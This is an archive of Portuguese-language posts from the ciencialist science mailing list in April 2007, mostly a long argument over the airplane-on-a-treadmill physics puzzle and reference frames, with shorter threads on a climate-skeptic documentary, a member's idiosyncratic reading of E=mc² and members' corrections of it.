> > intelectual e se acostumou em padronizar interpretações.
>
> Pode ser, José Renato, mas também pode não ser. Eu acompanho os
> vestibulares das principais universidades do país (e também os livros
> didáticos) há cerca de 24 anos e não me lembro de muitas questões onde
> se tenha explicitado o referencial como sendo o "chão", por outro lado
> na extrema maioria das vezes esse referencial está "implícito". É
> assim que é, meu caro, e saber disso é parte do "saber Física".
> JR1 - Consideramos o chão como referencial e concordamos que voa.
Por que
> não considerar também a esteira, além do chão? Só por que foi José
Renato
> quem a considerou primeiro e apresentou uma outra resposta?
>
> Imagine que as placas de velocidade máxima de uma rodovia tivessem que
> explicitar: "velocidade máxima permitida em relação ao chão = 80
> km/h"; você não acharia estranho? Imagine que se diga que uma árvore
> tem cinco metros de altura, você terá alguma dúvida de que essa altura
> foi medida em relação ao chão? Na verdade, em todas as situações do
> seu cotidiano em que lhe informam uma velocidade, em quais delas essa
> velocidade não se refere ao chão ou a um referencial imóvel em relação
> ao chão? Vamos, José Renato, pense! ;)
> JR1 - As rodovias são "o chão" assim como a esteira é o "chão" para
o avião
> do problema. Para a medida das altura das árvores já depende do
terreno e de
> referencial, não é tão "preciso" assim. Na agricultura a medida
considera as
> raízes.
>
> Veja que se não explicitamos o referencial no chão e nem em um outro
> local, a escolha será sempre o chão. Se você quiser que o referencial
> seja outro que não o chão, deverá explicitá-lo sempre que os
> movimentos se dão próximos à superfície da Terra. Se o referencial não
> for no chão e não houver uma indicação clara disso, a questão estará
> mal formulada e ao contrário do que você sugere, não demonstrará
> nenhuma "capacidade intelectual" extra do elaborador da questão e nem
> de quem se aventurar a "inventar" novas interpretações estapafúrdias.
> JR1 - É isso que chamo de tentativa de enrolação... O problema
explicita com
> todas as letras que *o avião está sobre a esteira*. Por que vc não quer
> considerar a esteira como "chão", também?
>
> Por fim, note que se o refencial não está explicitado, mas está
> implícito no chão, talvez seja muito mais problemático para você supor
> que o referencial esteja em outro lugar. De qualquer forma, se você
> supõe o referencial em outro lugar, então pelo menos diga que lugar é
> esse. O cúmulo do "excesso de capacidade intelectual" é discordar que
> o referencial seja o chão e não ter nenhum outro referencial para
> propor, você não acha?
> JR1 - Mais tentativa de enrolação... Veja. No problema já
consideramos o
> chão como referencial e demos a resposta de que *o avião voa*.
> Paralelamente, consideramos a esteira como "chão" e concluimos que o
avião
> *não alçará vôo*.
>
>
> > Veja que VOCÊ pode modificar o problema e escrever outro enunciado,
> > pode reescrever o enunciado original conforme queira ou, simplesmente,
> > pode criar um novo problema. A única coisa que nós não podemos é ficar
> > divagando sobre uma coisa tão banal quanto o enunciado de um
> > probleminha ordinário de decolagem de avião. :)
> > JR - O desafio do problema é exatamente a possibilidade de duas
> > respostas à pergunta: o avião voa ou não! E vc quer transformá-lo em
> > um probleminha ordinário de uma única resposta simples, fácil, só
> > porque não conseguiu perceber de cara essa outra resposta ou
> > possibilidade!.
>
>
> É verdade. A mim esse parece ser um probleminha realmente simples e
> ordinário e eu estou tentando há várias mensagens entender como que
> você não o vê dessa forma. :)
> JR1 - Erro inicial de avaliação ou displicência pode estar na raiz
das suas
> dificuldades de entender a questão.
>
> Já resolvemos o problema anterior, em que não havia atrito nenhum
> entre os rolamentos da roda do avião e você concordou, por
> consentimento, que a solução seria o avião decolando normalmente. [
... ]
> JR1 - Se considerarmos a hipótese especial de que não há atrito
algum, o
> avião em si não interage com a esteira. A esteira se movimenta e o
avião
> continua paradão. Não há o que discutir: ele voa.
>
> [ ... ] Digamos então que agora você copiou o enunciado "original" e
> temos um novo problema, mas nesse novo problema o avião também
> decola, a menos, é claro, que você tenha "outra solução". Mas você
> ainda está encalhado no referencial, não é?
> JR1 - Não. Vc é que empacou numa interpretação óbvia, que tento lhes
> mostrar, mas que requer algum esforço de raciocínio.
>
> Eu não vejo a "outra possibilidade" e você parece que também não a vê
> ou vê mas não consegue mostrá-la. Seria uma possibilidade "mística",
> dessas que só vê quem tem fé, ou ainda estamos falando da boa Física
> materialista?
> JR1 - Vc não vê, mas eu vejo. Eu lhe explico, mas vc ainda não parou
para
> procurar entender. Prefere fugir do ponto principal, prefere não
enxergar a
> esteira, prefere tentar me desqualificar... Não é uma postura
recomendável.
> Quando vc cair na real vai perceber as tolices que está escrevendo.
>
>
> > Na minha opinião, depois de 24 anos lidando com enunciados de
> > problemas de Física, tendo eu mesmo escrito milhares deles e lido
> > outros muitos milhares, eu não tenho nenhuma dúvida sobre o que estou
> > falando e sobre onde está o referencial proposto no problema original.
> > Mas você tem toda a liberdade do mundo para recriar o problema.
> > JR - O enunciado do problema é aquele mesmo. Não é necessário mudar.
> > E não o estou recriando. Apenas estou mostrando a vc e aos demais
> > que é importante estar lúcido para perceber as possibilidades que este
> > ou qualquer outro problema apresenta. Os problemas de movimentos
> > relativos são comuns visto que as possibilidades de interações são
> > inúmeras. Exemplo simples: se o ar-vento acelerasse e se deslocasse
> > na mesma velocidade e sentido do avião?
>
> Oras, se o enunciado é aquele, então a velocidade da esteira e do
> avião estão dadas em relação ao chão. Você tem alguma dúvida com
> relação a isso? Qual? Porque? Qual sua interpretação?
> JR1 - Isso está explicado nos esquemas que apresentei. Veja se agora vc
> consegue perceber melhor meu raciocínio. Veja. Se o avião está sobre a
> esteira que se move para trás e o avião para frente *com a mesma
> velocidade*, há uma relação fundamental entre seus movimentos. Isso
fica
> mais visível quando separamos esses dois movimentos e consideramos
apenas a
> esteira se movendo e o avião estacionado sobre ela com as turbinas
> desligadas. A esteira vai carregar o avião para trás... Se o avião
estivesse
> com as turbinas ligadas - e se deslocando *na mesma velocidade* da
esteira -
> ele teria andado o mesmo espaço *em relação ao chão* que a esteira se
> deslocou, isto é, estaria praticamente parado em relação *ao chão e
ao ar
> que o circunda*. Isso, para qualquer que seja a velocidade da
esteira...
> Logo, não voa.
>
>
> > E então, como vai ser? Vai recriar o problema a partir da SUA
> > interpretação dele? Se for, então deixe de dar uma de "João sem braço"
> > e assuma que o novo enunciado será SEU. Daí por diante você reescreve
> > o enunciado, define sua tese sobre a decolagem do avião e nós
> > discutimos as idéias propostas, ok?
> > JR - Por que vc insiste em dizer que a possibilidade existente no
> > problema requer um novo enunciado? Fica melhor assumir que vc não
> > percebeu totalmente o problema, em vez de vir enrolando com desculpas
> > e propostas tolas, na tentativa de confundir os menos atentos.
> > Só depende de você...
>
>
> Só depende de mim o quê? Eu já lhe expliquei que o enunciado refere-se
> ao chão como referencial e que o avião voará (essa é a mesma situação
> I do problema anterior que JÁ RESOLVEMOS). Você ainda tem dúvidas com
> relação ao vôo do avião nessas condições? Qual a dúvida? Porque tem
> essa dúvida?
> JR1 - Ou vc está com dificuldade de memória ou está tentando enrolar
mais
> uma vez. Repito para lhe reavivar o que já estou dizendo a vários
e-mails. O
> avião voará com o *dobro da velocidade* da esteira, quando
consideramos um
> ponto de referência no solo-terra onde está apoiada a esteira. Não há
> dúvidas. Só depende de vc agora atentar ao raciocínio que apresento
para um
> resposta mais adequada em que o avião se desloca exatamente na mesma
> velocidade da esteira, como explicita o enunciado, e não com o dobro da
> velocidade.
>
> Viu só, fiquei calminho e respondi direitinho. Agora é sua vez: qual
> sua dúvida?
> JR1 - Grato pelas respostas, Prof. José Carlos. Se vc for mais objetivo
> chegará rapidamente ao entendimento da resposta - aparentemente
> contraditória - que apresentei e que venho tentando explicar a vc e aos
> demais listeiros. Só vamos ganhar com isso.
>
> Abraços,
> JC
>
> Abraços
> José Renato

( apaguei o restante )



SUBJECT: Re: [ciencialist] Re: "A Grande Fraude do Aquecimento Global
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/04/2007 01:03

Olá! Vejam que argumentação falaciosa do filme A Grande Fraude do
Aquecimento Global:

[ Segundo Ward, o diretor do filme, Mark Durkin, cometeu uma 'longa
série de erros profundos e fundamentais', incluindo a alegação de que
vulcões geram mais CO2 que a atividade humana, e que a atmosfera da
Terra era mais quente na Idade Média do que hoje. ]

Esquecem que as atividades humanas que mais geram CO2 começaram de fato a
partir da revolução industrial - máquinas a vapor com queima de carvão e
madeira, motores a combustível fósseis como gasolina e diesel, caldeiras
queimando óleo combustível - e a partir da revolução agro-pecuária -
derrubada de matas e florestas milenares, uso de queimadas...

Já as emissões de CO2 por parte dos vulcões se mantém praticamente estáveis,
com leve declínio.

[]s

José Renato
.....................................................

----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, April 26, 2007 1:46 PM
Subject: [ciencialist] Re: "A Grande Fraude do Aquecimento Global


ESTADÃO, 15-04-2007

Cientistas exigem mudanças em filme que questiona efeito estufa

"Associated Press

Carta aberta divulgada na terça-feira, 24, e assinada por 38
cientistas, incluindo ex-presidentes da Royal Society e do serviço
meteorológico nacional, exige que a Wag TV, produtora de The Great
Global Warming Swindle ('A Grande Fraude do Aquecimento Global')
retirem do documentário o que chamam de 'graves distorções' -
requisição que o diretor da obra compara a um ato de censura.

'A liberdade de expressão não vai ao ponto de enganar o público por
meio de afirmações factualmente incorretas', disse Bob Ward,
ex-porta-voz da Royal Society e um dos signatários. 'Alguém tem que
defender o interesse público nesta questão'.

Segundo Ward, o diretor do filme, Mark Durkin, cometeu uma 'longa
série de erros profundos e fundamentais', incluindo a alegação de que
vulcões geram mais CO2 que a atividade humana, e que a atmosfera da
Terra era mais quente na Idade Média do que hoje.

Ward também já apresentou uma queixa ao órgão regulador dos meios de
comunicação do Reino Unido. As leis britânicas de radiodifusão exigem
que material sobre controvérsias políticas ou industriais seja
imparcial - e há penas para a distorção de fatos.

Durkin referiu-se à carta como 'nojenta'. 'É uma tentativa desprezível
e covarde de amordaçar a crítica científica, que não funcionará',
disse ele. 'Não creio que estejam interessados em controle de
qualidade na reportagem de ciência - desde que seja a favor deles'.

Durkin reconheceu dois dos erros citados pelos cientistas, incluindo o
referente aos vulcões, mas descreveu as alterações necessárias como
'menores' e disse que constarão do lançamento em DVD." (e)

[notícia completa em:]
http://www.estadao.com.br/especial/global/noticias/2007/abr/25/298.htm
--------------------------------
[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Documentário: "A Grande Fraude do Aquecimento Global"
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/04/2007 13:20

> Não me parece que seja necessário esperar tanto tempo para constatar que
> geleiras e limites congelados há cerca de dez mil anos estão se
> descongelando pela primeira vez nesse longo período, de forma acelerada
> nunca visto antes... Mas, quem se preocupa com isso?!

Para isso não é necessário esperar. O descongelamento e o aquecimento
já são evidentes. A dúvida está sobre a causa disso.

--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


SUBJECT: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/04/2007 14:00

Olá C-listeiros!

A primeira vez que estive aqui na c-list, investigando
o comportamento da matéria, através da equação de
Einstein (e=mc2), fui julgado inconveniente sobre a
alegação que eu fazia perguntas demais (sobre
definições) e não apresentava nenhuma resposta, nem
definição. As próprias perguntas já continham as
respostas, mas como apenas apontavam e não enunciavam,
meu comportamento foi julgado inconveniente.

Na segunda vez que estive aqui na c-list, também
conversando sobre o comportamento da matéria, ao invés
de indicar com perguntas como da vez anterior,
apresentei respostas (enunciados). Contudo, como essas
respostas não estava na linguagem desejada, novamente
fui julgado inconveniente, e é por isto que estou
atulamente sobre moderação.

Esta será a terceira vez que me disponho a dialogar
com vcs (c-listeiros) sobre a mesma coisa: o
comportamento da matéria. Desta vez, me proponho a
seguir os protocolos da moderação para evitar o
julgamento da inconveniencia e também da censura
(moderação). Ou seja, não vou fazer perguntas, vou dar
minha resposta e estou aberto a debate-la com quem se
interessar. E também não vou usar aqui uma linguagem
analógica, vou usar, a linguagem da c-list mesmo.
Definições cientificas de dicionário, como entrei em
acordo com o Takata.

Sendo assim, o que vou explicar a seguir é minha visão
sobre o comportamento da matéria, usando a equação de
Einstein como modelo de estuo. Se alguém concordar, ou
discordar da minha visão, fique a vontade para dizer
porque.

SOBRE O COMPORTAMENTO A MATERIA

Na equação de Einstein (e=mc2)
Energia = materia.
Mas não exatamente igual, pois tem o (c2)
C2 é a velocidade.
Sendo assim:
Energia = Materia x Velocidade.
Se velocidade = movimento
Energia = Materia (em movimento)
Se velocidade = espaço / tempo
Então: a materia se movimenta / de acordo com o tempo
Concluindo:
Energia = tempo de movimento da matéria (pulso)

- - - - - -

E por que Einstein postulou a velocidade = c2?

Porque a velocidade da luz é o limite máximo de
observação do pulsar da matéria. Ou seja, a luz é
pulso mais rápido que se pode observar.





sinceramente
ferrari













- - - - - - - - - - - - - - -

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SUBJECT: Leis do Tempo (definição de tempo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: emailferrari@yahoo.com.br
DATE: 27/04/2007 14:28

O QUE É O TEMPO? (ferrari)
http://leisdotempo.blogspot.com

“Se há um poder controlador fora do universo
(matérial), este não pode apresentar-se a nós como um
dos fatos que fazem parte do universo (matérial) —
assim como o arquiteto de uma casa não é, de fato, uma
das paredes, ou a escada, ou a lareira dessa casa.”
(C. S. Lewis)

Basta olhar para perfeição temporal dos eventos da
vida para perceber que o comportamento da matéria não
é um jogo de dados, coleção de acasos, nem um carro
desgovernado. Pelo contrário, cada processo material
acontece numa seqüência perfeita, como se fosse um
trem visível seguindo um trilho invisível.

Por exemplo, pra chover, primeiro a matéria passa pelo
processo da evaporação. Depois pelo processo da subida
do vapor. Depois pelo processo do resfriamento. Depois
pelo processo da condensação. Só, então, acontece o
processo da chuva. Nenhuma desses processos podem
acontecer nem antes nem depois do outro, caso
contrário, o processo da chuva se torna impossível. É
espantoso isto, não é?

>>> Tempo é a inteligência natural que controla o
processamento da matéria.

Pense no movimento dos astros quando se acreditava que
a terra era o centro do universo. Na visão geocêntrica
os planetas davam pulos, faziam zigzag, etc. Era um
caos. Veio Galileu com a visão heliocêntrica e mostrou
que a ordem sempre esteve lá, mas que ninguém via com
o tapa-olho geocêntrico. Analogamente é isto que
acontece quando se estuda a matéria sem levar em conta
as leis temporais que regem o seu processamento.

Assim como é a garrafa que dá forma ao liquido e não o
liquido que dá forma a garrafa, é o movimento do tempo
que dá forma a matéria e não o movimento da matéria
que dá forma ao tempo. A visão materialista é uma
visão invertida da realidade. É uma visão que busca
entender o comportamento da matéria olhando apenas
para a matéria. Mas a inteligência que controla o
comportamento da matéria não é material: é o tempo.

Prova indiscutível disto é que a matéria evolui e
involui com o tempo.


- - - - - - -


MAIS SOBRE O TEMPO? TEM AQUI:
http://leisdotempo.blogspot.com






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SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/04/2007 17:14

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Na equação de Einstein (e=mc2)
> Energia = materia.
> Mas não exatamente igual, pois tem o (c2)
> C2 é a velocidade.
> Sendo assim:
> Energia = Materia x Velocidade.

Não. A velocidade está ao quadrado.

> Se velocidade = movimento
> Energia = Materia (em movimento)
> Se velocidade = espaço / tempo
> Então: a materia se movimenta / de acordo com o tempo
> Concluindo:
> Energia = tempo de movimento da matéria (pulso)

Não. Deve se ter em mente q essa energia se refere não à energia
cinética, mas ao correspondente da energia contida na massa.

> - - - - - -
> E por que Einstein postulou a velocidade = c2?
>
> Porque a velocidade da luz é o limite máximo de
> observação do pulsar da matéria. Ou seja, a luz é
> pulso mais rápido que se pode observar.

Tb não. E = m.c2 não é um postulado, a fórmula foi deduzida. c2 não é
velocidade, o q corresponde à velocidade é c. Do mm modo como km2 não
é comprimento, o q é uma medida de comprimento é km.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Documentário: "A Grande Fraude do Aquecimento Global"
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/04/2007 18:34

Marcos: [ Para isso não é necessário esperar. O descongelamento e o
aquecimento
já são evidentes. A dúvida está sobre a causa disso. ]
.................................

E por que só após cerca de 30 anos é que não haverá mais dúvidas sobre quais
os principais fatores que estão causando o aquecimento da Terra? Pela frase
de Takata, entendi que daqui há trinta anos o aquecimento será tão
significativo que não dará mais para considerá-lo apenas como mais um ciclo
climático "normal" do planeta Terra.

[]s
JR
........................................
From: "Marcos Ludwig" <reinada@To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, April 27, 2007 1:20 PM
Subject: Re: [ciencialist] Re: Documentário: "A Grande Fraude do Aquecimento
Global"


> Não me parece que seja necessário esperar tanto tempo para constatar que
> geleiras e limites congelados há cerca de dez mil anos estão se
> descongelando pela primeira vez nesse longo período, de forma acelerada
> nunca visto antes... Mas, quem se preocupa com isso?!

Para isso não é necessário esperar. O descongelamento e o aquecimento
já são evidentes. A dúvida está sobre a causa disso.

--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


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Version: 7.5.467 / Virus Database: 269.6.1/777 - Release Date: 26/4/2007
15:23



SUBJECT: RE: [free_energy] Re: video of working Minto Wheel
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: pedraderoseta@yahoogrupos.com.br, ciencialist@yahoogrupos.com.br
DATE: 28/04/2007 00:37

( enjoy! )


>Subject: [free_energy] Re: video of working Minto Wheel
>Date: Fri, 27 Apr 2007 05:36:21 -0000
>
>--- In free_energy@yahoogroups.com, "Leo C." <mintowheel@...> wrote:
> >
> > The Minto Wheel does not count as an example of free energy/over-unity
> > (it is a heat engine that obeys the laws of thermodynamics), but in
> > principle it will work off of small temperature differences freely
> > available in nature (good match to passive solar collectors).
> >
> > A member of the MintoWheel Yahoo group
> >
> > http://tech.groups.yahoo.com/group/MintoWheel/
> >
> > posted a video of a working Minto Wheel on YouTube:
> >
> > http://www.youtube.com/watch?v=-fUlKBH1sY8
> >
> > I (the MintoWheel group founder and owner) have temporarily made our
> > message archive public, so that curious individuals may have a
> > look without having to join the group.
> >
> > Forget about the MythBusters' lame attempt at a Minto Wheel -- it
> > really does work.
> >
> > Leo C.
> >
>Testing
>
>
>
>To drop of the list, send email to:
>free_energy-unsubscribe@yahoogroups.com
>Yahoo! Groups Links
>
>
>




SUBJECT: P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/04/2007 04:51

Vamos lá José Renato... Estou começando a gostar desse probleminha...


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, José Carlos! Vc já esboçou a solução, mas não a está
percebendo. Só
> falta cair a ficha! Veja a seguir:


Bom, de acordo com suas teorias as fichas podem cair ou não, só
depende da vontade e da disposição de querer que o outro aceite sua
opinião sobre o referencial de queda delas. :)

Deixemos as fichas na mesa e as piadinhas para depois e vamos logo ao
problema...


[JR] > Há cerca de dois anos esse problema foi discutido aqui na lista
e a resposta
> que tentei explicar a vários listeiros, era apenas uma: atendendo as
> premissas do enunciado do problema, *o avião não levantava voo*,
qualquer
> que fosse a velocidade da esteira, que é a mesma do avião em sentido
> contrário.
> Nessa nova discussão, aceitei a visão dada por Luiz, Homero, Victor,
Hélio e
> vc, de que o avião voa quando se considera o ponto de ref no chão,
mesmo
> sabendo que, neste caso, *o avião se desloca com o dobro da
velocidade da
> esteira*, quando medida em relação a esteira. Aceitei, para tentar,
a partir
> desse fato de que o avião se desloca com o dobro da vel da esteira e
não com
> a mesma, obter melhor entendimento por parte dos que assim pensavam.
Mas,
> ainda não foi dessa vez.[JR]


Caríssimo José Renato, folgo em sabê-lo que você "aceitou" os
argumentos acima, mas o fato é que argumentos como esses não podem ser
rejeitados, pois não são de "livre escolha" e sim imposição das leis
físicas que descrevem a natureza. Você pode ou não "aceitar" que o
avião voará, mas independentemente disso, ele voará (aviões voam!). :)


> Colo abaixo a *minha interpretação* que parece que vc ainda não leu,
visto
> que a continua cobrando em seu último e-mail. Nela está todo o
"mecanismo"
> visualizado da questão, o qual pode ser exercitado materialmente com
> esquemas ou modelos...


Ok, vamos lá de novo...


> [ JC - Oras, se o enunciado é aquele, então a velocidade da esteira e do
> avião estão dadas em relação ao chão. Você tem alguma dúvida com
> relação a isso? Qual? Porque? Qual sua interpretação?
> JR1 - Isso está explicado nos esquemas que apresentei.


Seus esquemas, infelizmente, estavam errados conforme já foi
demonstrado, e você não se opôs à demonstração, quando consideramos
desprezível o atrito dos rolamentos da roda do avião. Logo, sua
explicação baseada neles também estava errada. Lembra-se? Foi nessa
época que você me disse que não era bem assim que o enunciado do
problema original era outro, etc. e tal. Bom, estamos agora discutindo
o enunciado do problema original e como já ficou claro na mensagem
anterior, o referencial é mesmo na Terra e o avião voará. Mas vamos
adiante apreciar seus argumentos...


> Veja se agora vc
> consegue perceber melhor meu raciocínio.


Dessa vez vou me esforçar de verdade. Acho que estou começando a
entender seu raciocínio e vou me basear bastante na sua forma inédita
de pensar sobre os problemas. Você me ajuda se eu precisar, combinado?


> Veja. Se o avião está sobre a
> esteira que se move para trás e o avião para frente *com a mesma
> velocidade*, há uma relação fundamental entre seus movimentos.


Epa, vamos com calma... A esteira se move para trás em relação ao que?
Ao avião? Ao chão? A Lua ou a própria esteira? Não vamos nos esquecer
de que você mesmo já defendeu aqui, veementemente, que não devemos dar
interpretações "simplistas" aos enunciados e que isso pode ser
intelectualmente pobre, certo? Eu não vou querer cometer essa
barbaridade e dessa vez quero saber exatamente sobre o que estamos
falando.

Da mesma forma, o avião se move para frente em relação ao que? Que
lado é a "frente"? Quem se move para trás se move para trás do que?
Vamos elevar o nível intelectual da nossa conversa e deixar esses
itens bem claros para não corrermos o risco de não percebermos as
coisas óbvias que ninguém percebeu ainda, concorda?

Então aguardo sua resposta antes de continuarmos, porque sem ela não
fará o menor sentido discutirmos um movimento sobre o qual nem sabemos
a que se refere, não é mesmo?

Assim que você elucidar esses pontos nebulosos nós continuaremos com
seu raciocínio.

Aguardo novamente suas explicações.

Abraços,
JC


> Isso
> fica mais visível quando separamos esses dois movimentos e
> consideramos apenas a esteira se movendo e o avião estacionado
> sobre ela com as turbinas desligadas. A esteira vai carregar o avião
> para trás... Se o avião estivesse com as turbinas ligadas - e se
> deslocando *na mesma velocidade* da esteira - ele teria andado
> o mesmo espaço *em relação ao chão* que a esteira se deslocou,
> isto é, estaria praticamente parado em relação *ao chão e ao ar
> que o circunda*. Isso, para qualquer que seja a velocidade da esteira.
> Logo, não voa. ]
>
> Abraços
>
> José Renato
> .............................................
>
> ----- Original Message -----
> From: "José Carlos Antonio" <profjc2003@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Thursday, April 26, 2007 12:24 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
>
>
> Olá José Renato,
>
> É evidente que essa conversa está interessantíssima. São raros os
> momentos em que podemos compartilhar de uma defesa tão veemente sobre
> o impossível, principalemente quando essa defesa se transforma apenas
> na promessa de uma defesa, mas que não defende nada, como tem sido o
> caso.
>
> Você tem um chão, uma esteira sobre o chão e um avião sobre a esteira.
> No problema está dito que o avião se move com uma dada velocidade e a
> esteira tem a mesma velocidade em sentido contrário. Vamos então
> admitir três referênciais sobre os quais o autor "poderia estar
falando":
>
> 1 - referencial na terra: esse é o óbvio, o que qualquer pessoa normal
> adotaria diante do enunciado. Nesse referencial nós teríamos o avião
> indo para um lado e a esteira movendo-se no sentido oposto devido ao
> mecanismo mencionado no enunciado que tem justamente a função de
> fazê-la ter a mesma velocidade que o avião, porém no sentido oposto.
> Nessas circunstâncias o avião voa conforme já ficou demonstrado.
>
> 2 - referencial no avião: a velocidade do avião é zero, pois ele nunca
> muda de posição em relação a si mesmo. Logo, o autor errou ao dizer
> que o avião "tem velocidade" e, consequentemente, a esteira não pode
> ter a mesma velocidade que o avião no sentido oposto a ele, pois ambos
> estariam parados. Nesse caso nada se pode dizer sobre o avião voar,
> pois aviões que são o próprio referencial estarão sempre no mesmo
> lugar em relação a si mesmos.
>
> 3 - referencial na esteira: nesse caso a esteira jamais terá a mesma
> velocidade que o avião, em sentido oposto, pois sendo o referencial
> ela não tem movimento em relação a si mesma. Novamente o autor viajou
> na maionese e disse bobagem. Além disso, como a esteira não tem
> velocidade em relação a si mesma e o avião tem a mesma velocidade que
> a esteira, ele só poderá estar parado sobre ela. Assim, nada se pode
> dizer também sobre o voo do avião já que ele está em repouso o tempo
> todo em relação ao referencial e nada foi dito sobre o movimento do ar
> em relação à esteira.
>
> Veja, meu pequeno gênio, que só há uma possibilidade onde a esteira e
> o avião podem ter, ambos, velocidades opostas: se o referencial for no
> chão.
>
> Claro, existe ainda uma outra possibilidade, mas como essa última só
> alguém muito intelectualmente perturbado poderia imaginar, eu a
> descartei até agora. Em todo caso, se for seu caso (espero que não
> seja), existe ainda a possibilidade de que o autor da questão, não
> tendo a menor idéia sobre o que escrevia, escreveu uma grande bobagem
> (que não parece bobagem para ninguém, exceto você, talvez) que na
> verdade "queria dizer" era que "o avião tem uma velocidade v em
> relação à esteira e a esteira tem uma velocidade -v em relação ao
> chão". Isso sim seria um belo problema de movimento relativo, com esse
> enunciado, mas não com o enunciado original, onde não se diz nem se
> sugere que se deva usar dois referenciais distintos. Até porque também
> poderíamos ter a velocidade do avião dada em relação ao chão e a
> velocidade da esteira dada em relação ao avião ou, finalmente, a
> velocidade da esteira dada em relação ao avião e a velocidade do avião
> dada em relação à esteira. Eu não creio que ninguém sem problemas
> possa fazer essas interpretações e como você parece não ter feito
> nenhuma interpretação ainda (ainda estou esperando você fazer a sua)
> não dá para saber se você também é um desses casos de internação. :)
>
> No mais já exploramos tudo o que poderia ser de alguma utilidade para
> se esclarecer enunciados de questões, movimentos relativos e a
> dinâmica do vôo e só nos restou a sua óbvia vontade de encerrar o
> debate tentando deixar parecer que você tem um dragão na sua garagem
> que só você pode ver. :)
>
> Na boa, José Renato, discutir religião é fácil porque nada ali faz
> sentido mesmo, mas discutir ciência não é exatamente uma boa forma de
> tentar sofismar. :)
>
> Esqueça esse assunto, engate outra conversa, arrume uma desculpa
> qualquer e deixemos por encerrada essa trhead, ok?
>
> A propósito: tenho certeza absoluta de que você já sabe agora muito
> mais sobre aviões e movimentos do que sabia antes. Só por isso valeu a
> pena.
>
> E só para encerrar com chave de ouro, vamos agora resolver o problema
> sem nenhuma física, usando apenas a "lógica" (essa coisinha
> aristotélica que Galileu usou contra o próprio Aristóteles no célebre
> episódio da "queda dos corpos" que descrevo em um dos meus livros
> didáticos - onde chão é chão e aviões voam, he he):
>
> "suponhamos que no referencial das pessoas menos dotadas
> intelectualmente, isto é, o chão, o avião voe em relação ao chão (até
> porque não vejo outra forma de se dizer que o avião voou sem ser em
> relação ao chão). Suponhamos também que no referencial das pessoas
> muito bem dotadas intelectualmente (seja lá qual for esse referencial)
> o avião não voe em relação ao chão. Se ambos os referenciais são
> equivalentes, temos então um avião que voa e que não voa em relação ao
> chão (que é o mesmo referencial para detectar o voo nos dois casos),
> logo, uma das premissas está errada ou ambas estão erradas, pois uma
> avião ou voa ou não voa. Se a primeira está errada, então nenhum avião
> voa. Mas aviões voam em relação ao chão (não voam?), logo, a primeira
> premissa só pode estar certa. Se a primeira premissa está certa, então
> a segunda só pode estar errada, pois ambas não podem estar corretas ao
> mesmo tempo. Donde conclui-se que em nenhuma demonstração você provará
> que o avião pode voar e não voar ao mesmo tempo em relação ao chão,
> não importanto o que se diga da velocidade dele em relação a qualuqer
> referencial."
>
> Ah sim, não vamos discutir lógica, tá?
>
> Abraços,
> JC
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > Olá, José Carlos! Grato pelos comentários.
> > Respondo seus comentários abaixo, após JR1 -, OK?
> > ................................................
> > From: "José Carlos Antonio" <profjc2003@To:
> <ciencialist@yahoogrupos.com.br>
> > Sent: Monday, April 23, 2007 11:48 PM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
> >
> >
> > Olá José Renato,
> >
> > Vou respondendo, com calma e paciência, logo abaixo dos seus
> > comentários... Você merece. :)
> > JR1 - Isso é fundamental ao entendimento do que estamos tratando.
> >
> > --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> > >
> > > Caro, José Carlos!
> > > Esta chegando a hora da verdade. Não dá mais encompridar
conversa para
> > > tentar esconder a falta de lucidez e atenção para dar as respostas
> > > adequadas ao problema apresentado. A melhor atitude depende
apenas de
> > > você. Analise com clareza. Faço outros comentários no corpo do seu
> e-mail,
> > > após JR
> >
> >
> > Tentarei, José Renato, tentarei...
> > JR1 - Esse é o primeiro passo: disposição.
> >
> > > ................................................
> > >
> > > From: "José Carlos Antonio" <profjc2003@To:
> > <ciencialist@yahoogrupos.com.br>
> > > Sent: Monday, April 23, 2007 7:45 AM
> > > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> > entendendo nada
> > >
> > > Olá José Renato,
> > >
> > > Se bem me lembro você já me disse que o enunciado não é seu, logo,
> > > decorre daí que também não sendo meu só nos resta nos basearmos
> > > naquilo que nos baseamos todos os dias: na experiência e na própria
> > > linguagem. Quando falamos em movimentos próximos à superfície da
Terra
> > > nós "SEMPRE" subentendemos que o chão é nosso referencial e quando
> > > queremos tomar outro referencial nós SEMPRE explicitamos isso.
Como o
> > > autor não explicita nenhum outro referencial, então só nos resta
usar
> > > a informação padrão.
> > > JR - Essa "padronização" não existe, José Carlos. E o fato de vc
> > > considerá-la revela que vc deixou de exercitar sua capacidade
> > > intelectual e se acostumou em padronizar interpretações.
> >
> > Pode ser, José Renato, mas também pode não ser. Eu acompanho os
> > vestibulares das principais universidades do país (e também os livros
